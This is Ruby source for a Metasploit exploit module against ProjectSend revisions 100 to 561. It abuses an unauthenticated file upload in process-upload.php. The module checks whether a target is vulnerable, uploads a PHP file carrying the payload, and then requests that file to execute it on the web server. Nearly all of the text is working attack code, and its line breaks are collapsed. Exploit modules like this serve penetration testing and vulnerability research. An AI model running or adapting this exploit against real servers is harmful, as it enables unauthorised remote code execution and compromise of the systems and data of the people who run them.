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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ProjectSend Arbitrary File Upload', 'Description'=> %q{ This module exploits a file upload vulnerability in ProjectSend revisions 100 to 561. The 'process-upload.php' file allows unauthenticated users to upload PHP files resulting in remote code execution as the web server user. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Fady Mohammed Osman', # Discovery and Exploit 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ ['EDB', '35424'] ], 'Payload'=> { 'BadChars' => "\x00" }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets'=> [ # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu) ['ProjectSend (PHP Payload)', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 02 2014', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/']) ], self.class) end # # Checks if target upload functionality is working # def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'process-upload.php') ) if !res vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown elsif res.code.to_i == 404 vprint_error("#{peer} - No process-upload.php found") return Exploit::CheckCode::Safe elsif res.code.to_i == 500 vprint_error("#{peer} - Unable to write file") return Exploit::CheckCode::Safe elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ vprint_error("#{peer} - File process-upload.php is not executable") return Exploit::CheckCode::Safe elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/ vprint_error("#{peer} - Software is misconfigured") return Exploit::CheckCode::Safe elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/ # response on revision 118 onwards includes the file name if res.body && res.body =~ /NewFileName/ return Exploit::CheckCode::Vulnerable # response on revisions 100 to 117 does not include the file name elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ return Exploit::CheckCode::Appears elsif res.body && res.body =~ /Failed to open output stream/ vprint_error("#{peer} - Upload folder is not writable") return Exploit::CheckCode::Safe else return Exploit::CheckCode::Detected end else return Exploit::CheckCode::Safe end end # # Upload PHP payload # def upload fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}")) post_data = data.to_s print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)") res = send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"), 'ctype'=> "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) if !res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No process-upload.php found") elsif res.code.to_i == 500 fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/ fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable") elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable") elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/ fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured") # response on revision 118 onwards includes the file name elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/ print_good("#{peer} - Payload uploaded successfully (#{fname})") return fname # response on revisions 100 to 117 does not include the file name elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ print_warning("#{peer} - File upload may have failed") return fname else vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}") fail_with(Failure::Unknown, "#{peer} - Something went wrong") end end # # Execute uploaded file # def exec(upload_path) print_status("#{peer} - Executing #{upload_path}...") res = send_request_raw( { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5 ) if !res print_status("#{peer} - Request timed out while executing") elsif res.code.to_i == 404 vprint_error("#{peer} - Not found: #{upload_path}") elsif res.code.to_i == 200 vprint_good("#{peer} - Executed #{upload_path}") else print_error("#{peer} - Unexpected reply") end end # # upload && execute # def exploit fname = upload register_files_for_cleanup(fname) exec("upload/files/#{fname}") # default for r-221 onwards unless session_created? exec("upload/temp/#{fname}")# default for r-100 to r-219 end end end |
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